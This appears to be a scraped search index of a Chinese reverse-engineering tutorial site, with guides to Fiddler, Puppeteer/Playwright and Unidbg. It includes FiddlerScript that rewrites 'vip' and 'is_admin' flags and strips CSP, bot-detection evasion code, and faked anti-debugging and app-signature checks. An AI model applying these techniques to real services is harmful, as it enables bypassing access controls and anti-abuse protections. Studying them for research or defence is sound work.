指南","uri":"/reverse_engineering/web/02-tooling/fiddler_guide/#2-核心功能"},{"categories":null,"collections":null,"content":"Composer (构造器) 功能: 手动构造 HTTP 请求。 用途: 类似 Burp Repeater，但更偏向于从零构造请求。可以直接拖拽左侧的 Session 到 Composer tab 来快速填充。 ","date":"2024-06-18","objectID":"/reverse_engineering/web/02-tooling/fiddler_guide/:3:1","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Fiddler Classic 指南","uri":"/reverse_engineering/web/02-tooling/fiddler_guide/#composer-构造器"},{"categories":null,"collections":null,"content":"AutoResponder (自动响应器) 功能: 自动匹配规则并返回预设内容。 用途: 替换线上文件（类似 Charles Map Local）。 Rule: REGEX:(?insx).*\\/script\\.js Action: C:\\Users\\Admin\\Desktop\\hook.js ","date":"2024-06-18","objectID":"/reverse_engineering/web/02-tooling/fiddler_guide/:3:2","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Fiddler Classic 指南","uri":"/reverse_engineering/web/02-tooling/fiddler_guide/#autoresponder-自动响应器"},{"categories":null,"collections":null,"content":"3. FiddlerScript (终极杀器) 点击 Fiddler 下方的 “FiddlerScript” 标签页。这是基于 JScript.NET 的脚本环境。 ","date":"2024-06-18","objectID":"/reverse_engineering/web/02-tooling/fiddler_guide/:4:0","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Fiddler Classic 指南","uri":"/reverse_engineering/web/02-tooling/fiddler_guide/#3-fiddlerscript-终极杀器"},{"categories":null,"collections":null,"content":"常用 Hook 点 OnBeforeRequest (请求前) static function OnBeforeRequest(oSession: Session) { // 拦截特定 URL if (oSession.uriContains(\"/api/v1/sign\")) { // 修改请求体 var sBody = oSession.GetRequestBodyAsString(); sBody = sBody.Replace(\"vip=false\", \"vip=true\"); oSession.utilSetRequestBody(sBody); // 打印 Log 到 Fiddler Log 面板 FiddlerObject.log(\"Tampered body: \" + sBody); } } OnBeforeResponse (响应前) static function OnBeforeResponse(oSession: Session) { if (oSession.HostnameIs(\"api.target.com\")) { oSession.utilDecodeResponse(); // 解码 gzip var sBody = oSession.GetResponseBodyAsString(); // 替换 JSON 内容 if (sBody.Contains(\"\\\"is_admin\\\":false\")) { sBody = sBody.Replace(\"\\\"is_admin\\\":false\", \"\\\"is_admin\\\":true\"); oSession.utilSetResponseBody(sBody); oSession.oResponse.headers.Remove(\"Content-Security-Policy\"); // 移除 CSP } } } ","date":"2024-06-18","objectID":"/reverse_engineering/web/02-tooling/fiddler_guide/:4:1","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Fiddler Classic 指南","uri":"/reverse_engineering/web/02-tooling/fiddler_guide/#常用-hook-点"},{"categories":null,"collections":null,"content":"常用 Hook 点 OnBeforeRequest (请求前) static function OnBeforeRequest(oSession: Session) { // 拦截特定 URL if (oSession.uriContains(\"/api/v1/sign\")) { // 修改请求体 var sBody = oSession.GetRequestBodyAsString(); sBody = sBody.Replace(\"vip=false\", \"vip=true\"); oSession.utilSetRequestBody(sBody); // 打印 Log 到 Fiddler Log 面板 FiddlerObject.log(\"Tampered body: \" + sBody); } } OnBeforeResponse (响应前) static function OnBeforeResponse(oSession: Session) { if (oSession.HostnameIs(\"api.target.com\")) { oSession.utilDecodeResponse(); // 解码 gzip var sBody = oSession.GetResponseBodyAsString(); // 替换 JSON 内容 if (sBody.Contains(\"\\\"is_admin\\\":false\")) { sBody = sBody.Replace(\"\\\"is_admin\\\":false\", \"\\\"is_admin\\\":true\"); oSession.utilSetResponseBody(sBody); oSession.oResponse.headers.Remove(\"Content-Security-Policy\"); // 移除 CSP } } } ","date":"2024-06-18","objectID":"/reverse_engineering/web/02-tooling/fiddler_guide/:4:1","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Fiddler Classic 指南","uri":"/reverse_engineering/web/02-tooling/fiddler_guide/#onbeforerequest-请求前"},{"categories":null,"collections":null,"content":"常用 Hook 点 OnBeforeRequest (请求前) static function OnBeforeRequest(oSession: Session) { // 拦截特定 URL if (oSession.uriContains(\"/api/v1/sign\")) { // 修改请求体 var sBody = oSession.GetRequestBodyAsString(); sBody = sBody.Replace(\"vip=false\", \"vip=true\"); oSession.utilSetRequestBody(sBody); // 打印 Log 到 Fiddler Log 面板 FiddlerObject.log(\"Tampered body: \" + sBody); } } OnBeforeResponse (响应前) static function OnBeforeResponse(oSession: Session) { if (oSession.HostnameIs(\"api.target.com\")) { oSession.utilDecodeResponse(); // 解码 gzip var sBody = oSession.GetResponseBodyAsString(); // 替换 JSON 内容 if (sBody.Contains(\"\\\"is_admin\\\":false\")) { sBody = sBody.Replace(\"\\\"is_admin\\\":false\", \"\\\"is_admin\\\":true\"); oSession.utilSetResponseBody(sBody); oSession.oResponse.headers.Remove(\"Content-Security-Policy\"); // 移除 CSP } } } ","date":"2024-06-18","objectID":"/reverse_engineering/web/02-tooling/fiddler_guide/:4:1","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Fiddler Classic 指南","uri":"/reverse_engineering/web/02-tooling/fiddler_guide/#onbeforeresponse-响应前"},{"categories":null,"collections":null,"content":"为什么用 FiddlerScript？ 比简单的正则替换更灵活（支持 if-else 逻辑）。 可以调用 .NET 库进行复杂的加解密操作。 ","date":"2024-06-18","objectID":"/reverse_engineering/web/02-tooling/fiddler_guide/:4:2","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Fiddler Classic 指南","uri":"/reverse_engineering/web/02-tooling/fiddler_guide/#为什么用-fiddlerscript"},{"categories":null,"collections":null,"content":"4. 移动端抓包 PC 配置: 开启 “Allow remote computers to connect”，重启 Fiddler。 手机配置: 设置代理为 PC IP + 8888。 安装证书: 手机浏览器访问 http://ipv4:8888，点击链接下载证书。 注意: 即使在 PC 端，也可以用 “FiddlerScript” 控制手机的流量。 ","date":"2024-06-18","objectID":"/reverse_engineering/web/02-tooling/fiddler_guide/:5:0","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Fiddler Classic 指南","uri":"/reverse_engineering/web/02-tooling/fiddler_guide/#4-移动端抓包"},{"categories":null,"collections":null,"content":"总结 如果你需要极其复杂的中间人逻辑（比如：请求 A 返回 -\u003e 解析出 Token -\u003e 自动发请求 B），FiddlerScript 是最佳选择。 ","date":"2024-06-18","objectID":"/reverse_engineering/web/02-tooling/fiddler_guide/:6:0","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Fiddler Classic 指南","uri":"/reverse_engineering/web/02-tooling/fiddler_guide/#总结"},{"categories":null,"collections":null,"content":"Puppeteer \u0026 Playwright ","date":"2024-06-17","objectID":"/reverse_engineering/web/02-tooling/puppeteer_playwright/:0:0","tags":["Web","签名验证","Hook","抓包","Playwright","DevTools"],"title":"Puppeteer \u0026 Playwright","uri":"/reverse_engineering/web/02-tooling/puppeteer_playwright/#puppeteer--playwright"},{"categories":null,"collections":null,"content":"概述 Puppeteer (基于 CDP) 和 Playwright (支持多浏览器) 是现代 Web 自动化的首选工具。在逆向中，我们需要利用它们来： 动态渲染: 抓取 SPA 页面数据。 模拟用户: 绕过复杂的行为验证码。 Hook 注入: 在页面加载前注入 JS 代码。 ","date":"2024-06-17","objectID":"/reverse_engineering/web/02-tooling/puppeteer_playwright/:1:0","tags":["Web","签名验证","Hook","抓包","Playwright","DevTools"],"title":"Puppeteer \u0026 Playwright","uri":"/reverse_engineering/web/02-tooling/puppeteer_playwright/#概述"},{"categories":null,"collections":null,"content":"1. 基础启动 (Puppeteer) const puppeteer = require(\"puppeteer\"); (async () =\u003e { const browser = await puppeteer.launch({ headless: false, // 逆向调试务必开启有头模式 args: [ \"--no-sandbox\", \"--disable-setuid-sandbox\", \"--ignore-certificate-errors\", // 忽略证书错误（配合抓包） \"--window-size=1920,1080\", ], }); const page = await browser.newPage(); await page.goto(\"https://example.com\"); // ... })(); ","date":"2024-06-17","objectID":"/reverse_engineering/web/02-tooling/puppeteer_playwright/:2:0","tags":["Web","签名验证","Hook","抓包","Playwright","DevTools"],"title":"Puppeteer \u0026 Playwright","uri":"/reverse_engineering/web/02-tooling/puppeteer_playwright/#1-基础启动-puppeteer"},{"categories":null,"collections":null,"content":"2. 关键逆向技巧 ","date":"2024-06-17","objectID":"/reverse_engineering/web/02-tooling/puppeteer_playwright/:3:0","tags":["Web","签名验证","Hook","抓包","Playwright","DevTools"],"title":"Puppeteer \u0026 Playwright","uri":"/reverse_engineering/web/02-tooling/puppeteer_playwright/#2-关键逆向技巧"},{"categories":null,"collections":null,"content":"注入 Hook 代码 (evaluateOnNewDocument) 这是最重要的功能。在页面所有脚本执行之前执行你的代码。 // 注入 navigator.webdriver = undefined 以绕过检测 await page.evaluateOnNewDocument(() =\u003e { Object.defineProperty(navigator, \"webdriver\", { get: () =\u003e undefined, }); }); ","date":"2024-06-17","objectID":"/reverse_engineering/web/02-tooling/puppeteer_playwright/:3:1","tags":["Web","签名验证","Hook","抓包","Playwright","DevTools"],"title":"Puppeteer \u0026 Playwright","uri":"/reverse_engineering/web/02-tooling/puppeteer_playwright/#注入-hook-代码-evaluateonnewdocument"},{"categories":null,"collections":null,"content":"请求拦截 (Request Interception) 可以拦截、修改、中止请求。 await page.setRequestInterception(true); page.on(\"request\", (request) =\u003e { if (request.resourceType() === \"image\") { request.abort(); // 加速抓取 } else if (request.url().includes(\"sign\")) { // 修改 Header const headers = Object.assign({}, request.headers(), { \"X-Custom-Token\": \"hacked\", }); request.continue({ headers }); } else { request.continue(); } }); ","date":"2024-06-17","objectID":"/reverse_engineering/web/02-tooling/puppeteer_playwright/:3:2","tags":["Web","签名验证","Hook","抓包","Playwright","DevTools"],"title":"Puppeteer \u0026 Playwright","uri":"/reverse_engineering/web/02-tooling/puppeteer_playwright/#请求拦截-request-interception"},{"categories":null,"collections":null,"content":"CDP Session (直接调用 DevTools 协议) Puppeteer 封装的功能有限，可以通过 CDP 甚至做更底层的操作。 const client = await page.target().createCDPSession(); await client.send(\"Network.enable\"); // 模拟弱网环境 await client.send(\"Network.emulateNetworkConditions\", { offline: false, latency: 200, downloadThroughput: (780 * 1024) / 8, uploadThroughput: (330 * 1024) / 8, }); ","date":"2024-06-17","objectID":"/reverse_engineering/web/02-tooling/puppeteer_playwright/:3:3","tags":["Web","签名验证","Hook","抓包","Playwright","DevTools"],"title":"Puppeteer \u0026 Playwright","uri":"/reverse_engineering/web/02-tooling/puppeteer_playwright/#cdp-session-直接调用-devtools-协议"},{"categories":null,"collections":null,"content":"3. Playwright 对比 Playwright API 设计更现代，且原生支持 WebKit (Safari)。 Context 隔离: browser.newContext() 极其快速地创建隔离环境（Cookie 互不干扰），适合并发采集。 选择器引擎: 支持 text=\"Login\", css=.btn, xpath=//button 混合搜索，更鲁棒。 ","date":"2024-06-17","objectID":"/reverse_engineering/web/02-tooling/puppeteer_playwright/:4:0","tags":["Web","签名验证","Hook","抓包","Playwright","DevTools"],"title":"Puppeteer \u0026 Playwright","uri":"/reverse_engineering/web/02-tooling/puppeteer_playwright/#3-playwright-对比"},{"categories":null,"collections":null,"content":"4. 反爬虫对抗 (Anti-Detection) 直接使用 Puppeteer/Playwright 很容易被识别（因为有指纹）。 ","date":"2024-06-17","objectID":"/reverse_engineering/web/02-tooling/puppeteer_playwright/:5:0","tags":["Web","签名验证","Hook","抓包","Playwright","DevTools"],"title":"Puppeteer \u0026 Playwright","uri":"/reverse_engineering/web/02-tooling/puppeteer_playwright/#4-反爬虫对抗-anti-detection"},{"categories":null,"collections":null,"content":"解决方案 puppeteer-extra-plugin-stealth: 必装插件。自动抹除几十种常见指纹（Chrome Runtime, Navigator Permissions, WebGL Vendor 等）。 const puppeteer = require(\"puppeteer-extra\"); const StealthPlugin = require(\"puppeteer-extra-plugin-stealth\"); puppeteer.use(StealthPlugin()); 拟人化操作: 不要 page.click() 瞬间点击，而是移动鼠标轨迹 -\u003e 随机停顿 -\u003e 按下 -\u003e 抬起。可以使用 ghost-cursor 等库。 ","date":"2024-06-17","objectID":"/reverse_engineering/web/02-tooling/puppeteer_playwright/:5:1","tags":["Web","签名验证","Hook","抓包","Playwright","DevTools"],"title":"Puppeteer \u0026 Playwright","uri":"/reverse_engineering/web/02-tooling/puppeteer_playwright/#解决方案"},{"categories":null,"collections":null,"content":"总结 对于逆向工程师，Puppeteer 不仅仅是爬虫工具，更是一个可编程的浏览器。利用 evaluateOnNewDocument 和 setRequestInterception，我们可以构建出强大的动态分析和解密环境。 ","date":"2024-06-17","objectID":"/reverse_engineering/web/02-tooling/puppeteer_playwright/:6:0","tags":["Web","签名验证","Hook","抓包","Playwright","DevTools"],"title":"Puppeteer \u0026 Playwright","uri":"/reverse_engineering/web/02-tooling/puppeteer_playwright/#总结"},{"categories":null,"collections":null,"content":"Unidbg 模拟执行框架指南 Unidbg 是一个基于 Java 开发的 Android/iOS 原生库 (.so/.dylib) 模拟执行框架。它能够在 PC 上模拟完整的 ARM 执行环境，使你可以像调用本地 Java 方法一样直接调用和调试原生库中的函数。 ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:0:0","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#unidbg-模拟执行框架指南"},{"categories":null,"collections":null,"content":"核心思想与应用场景 Unidbg 的核心思想是**“欺骗”**——让 .so 文件认为自己正运行在一个真实的 Android 设备上： 模拟文件系统: 创建虚拟文件系统，放入应用的数据和配置文件 模拟内存空间: 加载 .so 及其依赖的系统库到模拟内存中 模拟 JNI 环境: 实现大部分 JNI 函数，拦截 .so 对 Java 层的调用 Hook 系统调用 (SVC): 拦截底层系统调用，返回预设结果 ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:1:0","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#核心思想与应用场景"},{"categories":null,"collections":null,"content":"主要应用场景 场景 说明 算法复现 直接调用加密/解密函数，无需逆向算法本身 绕过环境检测 Hook Root、模拟器、设备 ID 等检测点 绕过反调试 ptrace 等反调试手段在模拟环境中天然无效 批量计算 编写脚本批量调用目标函数，爆破参数或生成签名 调用非导出函数 只要知道偏移就可以直接调用任何函数 ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:1:1","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#主要应用场景"},{"categories":null,"collections":null,"content":"Unidbg vs. Frida 特性 Unidbg Frida 执行环境 PC 端 (模拟执行) 移动设备端 (真机/模拟器) 工作模式 将 .so 当作黑盒库来调用 侵入正在运行的应用进程进行 Hook 依赖 仅需要 .so 文件及其依赖库 需要一个完整的、能运行的 APK 反调试 天然免疫 需要编写脚本来对抗反调试 性能 较低 (全模拟) 较高 (代码在设备上原生运行) 适用性 适合纯算法分析 适合分析与系统、UI 强相关的逻辑 ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:2:0","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#unidbg-vs-frida"},{"categories":null,"collections":null,"content":"环境搭建 ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:3:0","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#环境搭建"},{"categories":null,"collections":null,"content":"Maven 项目配置 \u003cproject\u003e \u003cmodelVersion\u003e4.0.0\u003c/modelVersion\u003e \u003cgroupId\u003ecom.example\u003c/groupId\u003e \u003cartifactId\u003eunidbg-demo\u003c/artifactId\u003e \u003cversion\u003e1.0-SNAPSHOT\u003c/version\u003e \u003cproperties\u003e \u003cmaven.compiler.source\u003e8\u003c/maven.compiler.source\u003e \u003cmaven.compiler.target\u003e8\u003c/maven.compiler.target\u003e \u003cunidbg.version\u003e0.9.7\u003c/unidbg.version\u003e \u003c/properties\u003e \u003crepositories\u003e \u003crepository\u003e \u003cid\u003ejitpack.io\u003c/id\u003e \u003curl\u003ehttps://jitpack.io\u003c/url\u003e \u003c/repository\u003e \u003c/repositories\u003e \u003cdependencies\u003e \u003cdependency\u003e \u003cgroupId\u003ecom.github.zhkl0228\u003c/groupId\u003e \u003cartifactId\u003eunidbg-android\u003c/artifactId\u003e \u003cversion\u003e${unidbg.version}\u003c/version\u003e \u003c/dependency\u003e \u003cdependency\u003e \u003cgroupId\u003ecom.github.zhkl0228\u003c/groupId\u003e \u003cartifactId\u003eunidbg-api\u003c/artifactId\u003e \u003cversion\u003e${unidbg.version}\u003c/version\u003e \u003c/dependency\u003e \u003cdependency\u003e \u003cgroupId\u003ecommons-logging\u003c/groupId\u003e \u003cartifactId\u003ecommons-logging\u003c/artifactId\u003e \u003cversion\u003e1.2\u003c/version\u003e \u003c/dependency\u003e \u003c/dependencies\u003e \u003c/project\u003e ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:3:1","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#maven-项目配置"},{"categories":null,"collections":null,"content":"Gradle 配置 repositories { mavenCentral() maven { url 'https://jitpack.io' } } dependencies { implementation 'com.github.zhkl0228:unidbg-android:0.9.7' implementation 'com.github.zhkl0228:unidbg-api:0.9.7' } ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:3:2","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#gradle-配置"},{"categories":null,"collections":null,"content":"推荐项目结构 unidbg-demo/ ├── pom.xml ├── src/main/ │ ├── java/com/example/demo/ │ │ ├── SignEmulator.java \u003c-- 模拟器主类 │ │ └── AbstractApp.java \u003c-- 公共基类 │ └── resources/ │ ├── apk/target-app.apk \u003c-- 目标 APK │ └── so/libnative-lib.so \u003c-- 目标 SO └── target/rootfs/default/ \u003c-- 虚拟文件系统 └── proc/self/maps ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:3:3","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#推荐项目结构"},{"categories":null,"collections":null,"content":"基本使用流程 ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:4:0","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#基本使用流程"},{"categories":null,"collections":null,"content":"完整代码模板 import com.github.unidbg.AndroidEmulator; import com.github.unidbg.Module; import com.github.unidbg.linux.android.AndroidEmulatorBuilder; import com.github.unidbg.linux.android.AndroidResolver; import com.github.unidbg.linux.android.dvm.*; import com.github.unidbg.memory.Memory; import java.io.File; public class MyEmulator extends AbstractJni { private final AndroidEmulator emulator; private final Module module; private final VM vm; public MyEmulator() { // 1. 创建模拟器 (for32Bit=armeabi-v7a, for64Bit=arm64-v8a) emulator = AndroidEmulatorBuilder .for32Bit() .setProcessName(\"com.example.target\") .build(); // 2. 初始化内存，设置 API 级别 (23=Android 6.0) final Memory memory = emulator.getMemory(); memory.setLibraryResolver(new AndroidResolver(23)); // 3. 创建 DVM，传入 APK 以自动解析 classes.dex vm = emulator.createDalvikVM(new File(\"src/main/resources/apk/target.apk\")); vm.setJni(this); vm.setVerbose(true); // 4. 加载目标 SO (true = 执行 .init 和 .init_array) DalvikModule dm = vm.loadLibrary( new File(\"src/main/resources/so/libnative-lib.so\"), true); module = dm.getModule(); // 5. 调用 JNI_OnLoad (触发动态注册) dm.callJNI_OnLoad(emulator); } // 方式一：通过导出符号名调用 public String callBySymbol(String input) { DvmObject\u003c?\u003e context = vm.resolveClass(\"android/content/Context\").newObject(null); DvmObject\u003c?\u003e result = vm.callJniMethod(emulator, \"Java_com_example_NativeLib_sign(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;\", context, new StringObject(vm, input)); return result.getValue().toString(); } // 方式二：通过偏移地址调用 (偏移从 IDA/Ghidra 获取) public int callByOffset(int arg1, int arg2) { // ARM 模式地址不变，Thumb 模式地址需要 +1 Number[] result = module.callFunction(emulator, 0x1A3C, arg1, arg2); return result[0].intValue(); } // 方式三：通过 DvmClass 调用 JNI 静态方法 public String callByDvmClass(String input) { DvmClass dvmClass = vm.resolveClass(\"com/example/NativeLib\"); DvmObject\u003c?\u003e result = dvmClass.callStaticJniMethodObject(emulator, \"getSign(Ljava/lang/String;)Ljava/lang/String;\", new StringObject(vm, input)); return result != null ? result.getValue().toString() : null; } public static void main(String[] args) { MyEmulator emu = new MyEmulator(); System.out.println(\"Result: \" + emu.callBySymbol(\"test_data\")); emu.emulator.close(); } } 提示: 如果目标 APK 同时包含 armeabi-v7a 和 arm64-v8a，优先尝试 32 位，模拟更成熟稳定。 ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:4:1","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#完整代码模板"},{"categories":null,"collections":null,"content":"JNI 环境模拟 当 SO 通过 JNI 回调 Java 层代码时，需要在 AbstractJni 子类中手动实现这些回调。 ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:5:0","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#jni-环境模拟"},{"categories":null,"collections":null,"content":"方法重写示例 public class MyEmulator extends AbstractJni { @Override public DvmObject\u003c?\u003e callObjectMethod(BaseVM vm, DvmObject\u003c?\u003e dvmObject, String signature, VarArg varArg) { switch (signature) { case \"android/content/Context-\u003egetPackageName()Ljava/lang/String;\": return new StringObject(vm, \"com.example.target\"); case \"android/content/Context-\u003egetSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;\": return vm.resolveClass(\"android/content/SharedPreferences\").newObject(null); case \"android/content/SharedPreferences-\u003egetString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;\": String key = varArg.getObjectArg(0).getValue().toString(); return new StringObject(vm, \"device_id\".equals(key) ? \"abc123\" : \"\"); } return super.callObjectMethod(vm, dvmObject, signature, varArg); } @Override public DvmObject\u003c?\u003e callStaticObjectMethod(BaseVM vm, DvmClass dvmClass, String signature, VarArg varArg) { switch (signature) { case \"android/util/Base64-\u003eencodeToString([BI)Ljava/lang/String;\": byte[] data = (byte[]) varArg.getObjectArg(0).getValue(); return new StringObject(vm, java.util.Base64.getEncoder().encodeToString(data)); } return super.callStaticObjectMethod(vm, dvmClass, signature, varArg); } @Override public int callIntMethod(BaseVM vm, DvmObject\u003c?\u003e dvmObject, String signature, VarArg varArg) { if (\"java/lang/String-\u003elength()I\".equals(signature)) { return dvmObject.getValue().toString().length(); } return super.callIntMethod(vm, dvmObject, signature, varArg); } @Override public DvmObject\u003c?\u003e getObjectField(BaseVM vm, DvmObject\u003c?\u003e dvmObject, String signature) { switch (signature) { case \"android/content/pm/PackageInfo-\u003esignatures:[Landroid/content/pm/Signature;\": DvmObject\u003c?\u003e sig = vm.resolveClass(\"android/content/pm/Signature\") .newObject(\"fake_signature_hex\"); return new ArrayObject(sig); } return super.getObjectField(vm, dvmObject, signature); } @Override public int getStaticIntField(BaseVM vm, DvmClass dvmClass, String signature) { if (\"android/os/Build$VERSION-\u003eSDK_INT:I\".equals(signature)) return 23; return super.getStaticIntField(vm, dvmClass, signature); } } ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:5:1","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#方法重写示例"},{"categories":null,"collections":null,"content":"JNI 签名速查表 Java 类型 JNI 签名 示例 void V doSomething()V boolean Z isValid()Z int I getCount()I long J getTimestamp()J byte[] [B getData()[B String Ljava/lang/String; getName()Ljava/lang/String; int[] [I getIds()[I ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:5:2","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#jni-签名速查表"},{"categories":null,"collections":null,"content":"系统调用处理 ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:6:0","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#系统调用处理"},{"categories":null,"collections":null,"content":"虚拟文件系统 public class MyEmulator extends AbstractJni implements IOResolver\u003cAndroidFileIO\u003e { public MyEmulator() { // ... 其他初始化 ... emulator.getSyscallHandler().addIOResolver(this); } @Override public FileResult\u003cAndroidFileIO\u003e resolve(Emulator\u003cAndroidFileIO\u003e emulator, String pathname, int oflags) { switch (pathname) { case \"/proc/self/status\": // TracerPid=0 表示未被调试（反调试关键） return FileResult.success(new ByteArrayFileIO(oflags, pathname, (\"Name:\\ttarget\\nTracerPid:\\t0\\nUid:\\t10086\\n\").getBytes())); case \"/system/build.prop\": return FileResult.success(new ByteArrayFileIO(oflags, pathname, (\"ro.product.model=Pixel 2\\nro.product.brand=google\\n\").getBytes())); case \"/proc/cpuinfo\": return FileResult.success(new ByteArrayFileIO(oflags, pathname, (\"processor\\t: 0\\nHardware\\t: Qualcomm MSM8998\\n\").getBytes())); } return null; // 使用默认处理 } } ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:6:1","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#虚拟文件系统"},{"categories":null,"collections":null,"content":"系统调用处理流程 +------------------+ +------------------+ +------------------+ | SO 执行代码 | | Unicorn 引擎 | | Unidbg Handler | | | | | | | | open(\"/proc/ | --\u003e | 执行 SVC #0 | --\u003e | SyscallHandler | | self/maps\") | | 产生中断 | | .handle() | | | | | | | | \u003c-- fd=3 | \u003c-- | 写入 r0=3 | \u003c-- | IOResolver | | | | | | .resolve() | +------------------+ +------------------+ +------------------+ ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:6:2","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#系统调用处理流程"},{"categories":null,"collections":null,"content":"Hook 功能 ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:7:0","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#hook-功能"},{"categories":null,"collections":null,"content":"HookZz (Inline Hook) import com.github.unidbg.hook.hookzz.*; IHookZz hookZz = HookZz.getInstance(emulator); hookZz.wrap(module.base + 0x1A3C, new WrapCallback\u003cHookZzArm32RegisterContext\u003e() { @Override public void preCall(Emulator\u003c?\u003e emulator, HookZzArm32RegisterContext ctx, HookEntryInfo info) { int arg0 = ctx.getIntArg(0); String arg1 = ctx.getPointerArg(1).getString(0); System.out.println(\"[preCall] arg0=\" + arg0 + \", arg1=\" + arg1); ctx.push(arg1); // 保存供 postCall 使用 } @Override public void postCall(Emulator\u003c?\u003e emulator, HookZzArm32RegisterContext ctx, HookEntryInfo info) { int retVal = ctx.getIntArg(0); String saved = ctx.pop(); System.out.println(\"[postCall] input=\" + saved + \", ret=\" + retVal); ctx.setR0(0); // 修改返回值 } }); ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:7:1","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 模拟执行框架指南","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/#hookzz-inline-hook"},{"categories":null,"collections":null,"content":"xHook (PLT Hook) import com.github.unidbg.hook.xhook.IxHook; IxHook xHook = XHookImpl.getInstance(emulator); // Hook libnative-lib.so 中对 strlen 的调用 xHook.register(\"libnative-lib.so\", \"strlen\", new ReplaceCallback() { @Override public HookStatus onCall(Emulator\u003c?\u003e emulator, HookContext context, long originFunction) { String str = context.getPointerArg(0).getString(0); System.out.println(\"[xHook] strlen(\\\"\" + str + \"\\\")\"); return HookStatus.RET(emulator, originFunction); // 调用原函数 } }); xHook.refresh(); // 必须调用 refresh 使 Hook 生效 ","date":"2024-06-09","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_guide/:7:2","tags":["Native层","动态分析","签名验证","Frida","代理池","Ghidra"],"title":"Unidbg 